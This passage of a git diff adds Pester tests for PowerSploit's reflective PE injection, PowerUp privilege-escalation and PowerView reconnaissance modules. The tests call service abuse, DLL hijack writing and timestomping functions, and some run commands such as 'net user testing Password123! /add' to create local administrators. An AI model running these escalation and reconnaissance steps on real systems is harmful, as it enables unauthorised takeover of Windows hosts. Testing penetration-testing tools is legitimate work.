DLL in memory within powershell.exe when the return types do not match.' { + # This DLL exports WStringFunc which means that -FunReturnType should be WString + { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw + } + } + + Context 'EXE Loading' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + + BeforeEach { + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ + } + + AfterEach { + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result.StartsWith('Hello, world!') | Should Be $True + } + } +}
\ No newline at end of file diff --git a/Tests/PowerSploit.tests.ps1 b/Tests/PowerSploit.tests.ps1 new file mode 100644 index 0000000..527face --- /dev/null +++ b/Tests/PowerSploit.tests.ps1 @@ -0,0 +1,49 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." + +filter Assert-NotLittleEndianUnicode { + [CmdletBinding()] + param ( + [Parameter(Mandatory = $True, + ValueFromPipelineByPropertyName = $True, + ValueFromPipeline = $True)] + [Alias('FullName')] + [String[]] + $FilePath + ) + + $LittleEndianMarker = 48111 # 0xBBEF + + Write-Verbose "Current file: $FilePath" + Write-Debug "Current file: $FilePath" + + if ([System.IO.Directory]::Exists($FilePath)) { + Write-Debug "File is a directory." + return + } + + if (-not [System.IO.File]::Exists($FilePath)) { + Write-Debug "File does not exist." + return + } + + $FileBytes = Get-Content -TotalCount 3 -Encoding Byte -Path $FilePath + + if ($FileBytes.Length -le 2) { + Write-Debug "File must be at least 2 bytes in length." + return + } + + if ([BitConverter]::ToUInt16($FileBytes, 0) -eq $LittleEndianMarker) { + Write-Debug "File contains little endian unicode marker." + throw "$_ is little-endian unicode encoded." + } +} + +Describe 'ASCII encoding of all scripts' { + It 'should not contain little-endian unicode encoded scripts or modules' { + { Get-ChildItem -Path $ModuleRoot -Recurse -Include *.ps1,*.psd1,*.psm1 | Assert-NotLittleEndianUnicode } | Should Not Throw + } +}
\ No newline at end of file diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 new file mode 100644 index 0000000..095c946 --- /dev/null +++ b/Tests/Privesc.tests.ps1 @@ -0,0 +1,570 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." + +$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1" +Remove-Module [P]rivesc +Import-Module $ModuleManifest -Force -ErrorAction Stop + +# import PowerUp.ps1 manually so we expose the helper functions for testing +$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1" +Import-Module $PowerUpFile -Force -ErrorAction Stop + + + +function Get-RandomName { + $r = 1..8 | ForEach-Object{Get-Random -max 26} + return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '') +} + +function Test-IsAdmin { + return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") +} + + +######################################################## +# +# PowerUp helpers functions. +# +######################################################## + +Describe 'Get-ModifiableFile' { + + It 'Should output a file path.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should extract a modifiable file specified as an argument in a command string.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" + + try { + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should return no results for a non-existent path.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should BeNullOrEmpty + } + + It 'Should accept a Path over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + + $Output = $FilePath | Get-ModifiableFile + $Output | Should BeNullOrEmpty + } +} + + +######################################################## +# +# PowerUp service enumeration functions. +# +######################################################## + +Describe 'Get-ServiceUnquoted' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + } + + It "Should not throw." { + {Get-ServiceUnquoted} | Should Not Throw + } + + It 'Should return service with a space in an unquoted binPath.' { + + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should Not BeNullOrEmpty + $Output.ServiceName | Should Be $ServiceName + $Output.Path | Should Be $ServicePath + } + + It 'Should not return services with a quoted binPath.' { + $ServiceName = Get-RandomName + $ServicePath = "'C:\Program Files\service.exe'" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should BeNullOrEmpty + } +} + + +Describe 'Get-ServiceFilePermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ServiceFilePermission} | Should Not Throw + } + + It 'Should return a service with a modifiable service binary.' { + try { + $ServiceName = Get-RandomName + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null | Out-File -FilePath $ServicePath -Force + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + + $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should Not BeNullOrEmpty + $Output.ServiceName | Should Be $ServiceName + $Output.Path | Should Be $ServicePath + } + finally { + $Null = Remove-Item -Path $ServicePath -Force + } + } + + It 'Should not return a service with a non-existent service binary.' { + $ServiceName = Get-RandomName + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + + $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should BeNullOrEmpty + } +} + + +Describe 'Get-ServicePermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ServicePermission} | Should Not Throw + } + + It 'Should return a modifiable service.' { + $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'} + $Output | Should Not BeNullOrEmpty + } +} + + +Describe 'Get-ServiceDetail' { + + It 'Should return results for a valid service.' { + $Output = Get-ServiceDetail -ServiceName Dhcp + $Output | Should Not BeNullOrEmpty + } + + It 'Should return not results for an invalid service.' { + $Output = Get-ServiceDetail -ServiceName NonExistent123 + $Output | Should BeNullOrEmpty + } + + It 'Should accept a service name on the pipeline.' { + $Output = "Dhcp" | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } +} + + + +######################################################## +# +# PowerUp service abuse functions. +# +######################################################## + +Describe 'Invoke-ServiceAbuse' { + + if(-not $(Test-IsAdmin)) { + Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges." + } + + BeforeEach { + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null = sc.exe create "PowerUpService" binPath= $ServicePath + } + + AfterEach { + $Null = sc.exe delete "PowerUpService" + $Null = $(net user john /delete >$Null 2>&1) + } + + It 'Should abuse a vulnerable service to add a local administrator with default options.' { + $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" + $Output.Command | Should Match "net" + + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service name on the pipeline.' { + $Output = "PowerUpService" | Invoke-ServiceAbuse + $Output.Command | Should Match "net" + + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + } + + It 'User should not be created for a non-existent service.' { + $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456" + $Output.Command | Should Match "Not found" + + if( ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' should not have been created for non-existent service." + } + } + + It 'Should accept custom user/password arguments.' { + $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match "net" + + if( -not ($(net localgroup Administrators) -match "PowerUp")) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + } + + It 'Should accept a custom command.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + $Null = $(net user testing /delete >$Null 2>&1) + } +} + + +Describe 'Install-ServiceBinary' { + + if(-not $(Test-IsAdmin)) { + Throw "'Install-ServiceBinary' Pester test needs local administrator privileges." + } + + BeforeEach { + $ServicePath = "$(Get-Location)\powerup.exe" + $Null | Out-File -FilePath $ServicePath -Force + $Null = sc.exe create "PowerUpService" binPath= $ServicePath + } + + AfterEach { + try { + $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = sc.exe delete "PowerUpService" + $Null = $(net user john /delete >$Null 2>&1) + } + finally { + if(Test-Path "$(Get-Location)\powerup.exe") { + $Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue + } + if(Test-Path "$(Get-Location)\powerup.exe.bak") { + $Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue + } + } + } + + It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { + + $Output = Install-ServiceBinary -ServiceName "PowerUpService" + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + $Null = Invoke-ServiceStop -ServiceName PowerUpService + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a service name on the pipeline.' { + + $Output = "PowerUpService" | Install-ServiceBinary + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + $Null = Invoke-ServiceStop -ServiceName PowerUpService + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'User should not be created for a non-existent service.' { + $Output = Install-ServiceBinary -ServiceName "NonExistentService456" + $Output.Command | Should Match "Not found" + } + + It 'Should accept custom user/password arguments.' { + $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match "PowerUp")) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a custom command.' { + + $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + $Null = $(net user testing /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } +} + + +######################################################## +# +# PowerUp .dll hijacking functions. +# +######################################################## + +Describe 'Find-DLLHijack' { + It 'Should return results.' { + $Output = Find-DLLHijack + $Output | Should Not BeNullOrEmpty + } +} + + +Describe 'Find-PathHijack' { + + if(-not $(Test-IsAdmin)) { + Throw "'Find-PathHijack' Pester test needs local administrator privileges." + } + + It 'Should find a hijackable %PATH% folder.' { + + New-Item -Path C:\PowerUpTest\ -ItemType directory -Force + + try { + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} + + $Env:PATH = $OldPath + $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + } + catch { + $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + } + } +} + +# won't actually execute on Win8+ with the wlbsctrl.dll method +Describe 'Write-HijackDll' { + + It 'Should write a .dll that executes a custom command.' { + + try { + Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" + + "$(Get-Location)\powerup.dll" | Should Exist + "$(Get-Location)\debug.bat" | Should Exist + } + finally { + $Null = Remove-Item -Path "$(Get-Location)\powerup.dll" -Force -ErrorAction SilentlyContinue + $Null = Remove-Item -Path "$(Get-Location)\debug.bat" -Force -ErrorAction SilentlyContinue + } + } +} + + +######################################################## +# +# PowerUp registry checks. +# +######################################################## + +Describe 'Get-RegAlwaysInstallElevated' { + It 'Should not throw.' { + {Get-ServicePermission} | Should Not Throw + } +} + + +Describe 'Get-RegAutoLogon' { + It 'Should not throw.' { + {Get-ServicePermission} | Should Not Throw + } +} + + +Describe 'Get-VulnAutoRun' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-VulnAutoRun} | Should Not Throw + } + It 'Should find a vulnerable autorun.' { + try { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" + + $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} + + $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp + + $Output.ModifiableFile | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +######################################################## +# +# PowerUp misc. checks. +# +######################################################## + +Describe 'Get-VulnSchTask' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-VulnSchTask' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-VulnSchTask} | Should Not Throw + } + + It 'Should find a vulnerable config file for a binary specified in a schtask.' { + + try { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f + + $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} + $Null = schtasks.exe /delete /tn PowerUp /f + + $Output.TaskFilePath | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +Describe 'Get-UnattendedInstallFile' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-UnattendedInstallFile} | Should Not Throw + } + It 'Should return a leftover autorun' { + $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml" + + try { + $Null | Out-File -FilePath $FilePath -Force + $Output = Get-UnattendedInstallFile + + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +Describe 'Get-Webconfig' { + It 'Should not throw.' { + {Get-Webconfig} | Should Not Throw + } +} + + +Describe 'Get-ApplicationHost' { + It 'Should not throw.' { + {Get-ApplicationHost} | Should Not Throw + } +} + + +Describe 'Invoke-AllChecks' { + It 'Should return results to stdout.' { + $Output = Invoke-AllChecks + $Output | Should Not BeNullOrEmpty + } + It 'Should produce a HTML report with -HTMLReport.' { + $Output = Invoke-AllChecks -HTMLReport + $Output | Should Not BeNullOrEmpty + + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $HtmlReportFile | Should Exist + $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue + } +} diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 new file mode 100644 index 0000000..8fd3d75 --- /dev/null +++ b/Tests/Recon.tests.ps1 @@ -0,0 +1,621 @@ + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Recon\Recon.psd1" + +Remove-Module [R]econ +Import-Module $ModuleManifest -Force -ErrorAction Stop + +# import PowerView.ps1 manually so we expose the helper functions for testing +$PowerViewFile = "$ModuleRoot\Recon\PowerView.ps1" +Import-Module $PowerViewFile -Force -ErrorAction Stop + + +# Get the local IP address for later testing +$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" +$LocalIP = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -match $IPregex}).ipaddress[0] + + +######################################################## +# +# PowerView functions. +# +######################################################## + +Describe 'Export-PowerViewCSV' { + It 'Should Not Throw and should produce .csv output.' { + {Get-Process | Export-PowerViewCSV -OutFile process_test.csv} | Should Not Throw + '.\process_test.csv' | Should Exist + Remove-Item -Force .\process_test.csv + } +} + + +Describe 'Set-MacAttribute' { + BeforeEach { + New-Item MacAttribute.test.txt -Type file + } + AfterEach { + Remove-Item -Force MacAttribute.test.txt + } + It 'Should clone MAC attributes of existing file' { + Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am' + $File = (Get-Item MacAttribute.test.txt) + $Date = Get-Date -Date '2000-01-01 00:00:00' + + if ($File.LastWriteTime -ne $Date) { + Throw 'File LastWriteTime does Not match' + } + elseif($File.LastAccessTime -ne $Date) { + Throw 'File LastAccessTime does Not match' + } + elseif($File.CreationTime -ne $Date) { + Throw 'File CreationTime does Not match' + } + } +} + + +Describe 'Get-IPAddress' { + $IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" + It 'Should return local IP address' { + if( $(Get-IPAddress) -notmatch $IPRegex ) { + Throw 'Invalid local IP address returned' + } + } + It 'Should accept -ComputerName argument' { + if( $(Get-IPAddress -ComputerName $env:COMPUTERNAME) -notmatch $IPRegex ) { + Throw 'Invalid -ComputerName IP address returned' + } + } +} + +Describe 'Convert-SidToName' { + It 'Should resolve built in SIDs' { + Convert-SidToName -SID 'S-1-5-32-545' | Should Be 'BUILTIN\Users' + } + It 'Should accept pipeline input' { + 'S-1-5-32-552' | Convert-SidToName | Should Be 'BUILTIN\Replicators' + } + It 'Should return a unresolvable SID' { + Convert-SidToName -SID 'S-1-5-32-1337' | Should Be 'S-1-5-32-1337' + } +} + + +Describe 'Get-Proxy' { + It 'Should Not Throw' { + {Get-Proxy} | Should Not Throw + } + It 'Should accept -ComputerName argument' { + {Get-Proxy -ComputerName $env:COMPUTERNAME} | Should Not Throw + } +} + + +Describe 'Get-PathAcl' { + It 'Should Not Throw' { + {Get-PathAcl C:\} | Should Not Throw + } + It 'Should return correct ACLs' { + $Output = Get-PathAcl -Path C:\Windows | ?{$_.IdentityReference -eq "Creator Owner"} + if(-not $Output) { + Throw "Output Not returned" + } + if($Output.FileSystemRights -ne 'GenericAll') { + Throw "Incorrect FileSystemRights returned" + } + } +} + + +Describe 'Get-NameField' { + It 'Should extract dnshostname field from custom object' { + $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing1'} + if ( (Get-NameField -Object $Object) -ne 'testing1') { + Throw "'dnshostname' field Not parsed correctly" + } + } + It 'Should extract name field from custom object' { + $Object = New-Object -TypeName PSObject -Property @{'name' = 'testing2'} + if ( (Get-NameField -Object $Object) -ne 'testing2') { + Throw "'name' field Not parsed correctly" + } + } + It 'Should handle plaintext strings' { + if ( (Get-NameField -Object 'testing3') -ne 'testing3') { + Throw 'Plaintext string Not parsed correctly' + } + } + It 'Should accept pipeline input' { + $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing4'} + if ( ($Object | Get-NameField) -ne 'testing4') { + Throw 'Pipeline input Not processed correctly' + } + } +} + + +Describe 'Invoke-ThreadedFunction' { + It "Should allow threaded ping" { + $Hosts = ,"localhost" * 100 + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20 + if($Hosts.length -ne 100) { + Throw 'Error in using Invoke-ThreadedFunction to ping localhost' + } + } +} + + +Describe "Get-NetLocalGroup" { + It "Should return results for local machine administrators" { + if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should return results for listing local groups" { + if ( (Get-NetLocalGroup -ListGroups | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + # TODO: -ComputerList + It "Should accept -GroupName argument" { + {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername" | Get-NetLocalGroup | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetShare" { + It "Should return results for the local host" { + if ( (Get-NetShare | Measure-Object).count -lt 1) { + Throw "Incorrect share results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetShare -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect share results returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername" | Get-NetShare | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetLoggedon" { + It "Should return results for the local host" { + if ( (Get-NetLoggedon | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetLoggedon -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername" | Get-NetLoggedon | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetSession" { + It "Should return results for the local host" { + if ( (Get-NetSession | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept the -UserName argument" { + {Get-NetSession -UserName 'Administrator'} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername" | Get-NetSession} | Should Not Throw + } +} + + +Describe "Get-NetRDPSession" { + It "Should return results for the local host" { + if ( (Get-NetRDPSession | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept pipeline input" { + {"$env:computername" | Get-NetRDPSession} | Should Not Throw + } +} + + +Describe "Invoke-CheckLocalAdminAccess" { + It "Should Not Throw for localhost" { + {Invoke-CheckLocalAdminAccess} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept IP -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername" | Invoke-CheckLocalAdminAccess} | Should Not Throw + } +} + + +Describe "Get-LastLoggedOn" { + It "Should return results for the local host" { + if ( (Get-LastLoggedOn | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept pipeline input" { + {"$env:computername" | Get-LastLoggedOn} | Should Not Throw + } +} + + +Describe "Get-CachedRDPConnection" { + It "Should Not Throw" { + {Get-CachedRDPConnection} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept IP -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername" | Get-CachedRDPConnection} | Should Not Throw + } +} + + +Describe "Get-NetProcess" { + It "Should return results for the local host" { + if ( (Get-NetProcess | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetProcess -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + # TODO: RemoteUserName/RemotePassword + It "Should accept pipeline input" { + {"$env:computername" | Get-NetProcess} | Should Not Throw + } +} + + +Describe "Find-InterestingFile" { + #TODO: implement +} + + +Describe "Invoke-UserHunter" { + It "Should accept -ComputerName argument" { + if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -NoPing flag" { + if ( (Invoke-UserHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-StealthUserHunter" { + # simple test of the splatting + It "Should accept splatting for Invoke-UserHunter" { + {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername"} | Should Not Throw + } +} + + +Describe "Invoke-ProcessHunter" { + It "Should accept -ComputerName and -UserName arguments" { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -ProcessName argument" { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -ProcessName powershell | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -UserFile argument" { + "$env:USERNAME" | Out-File 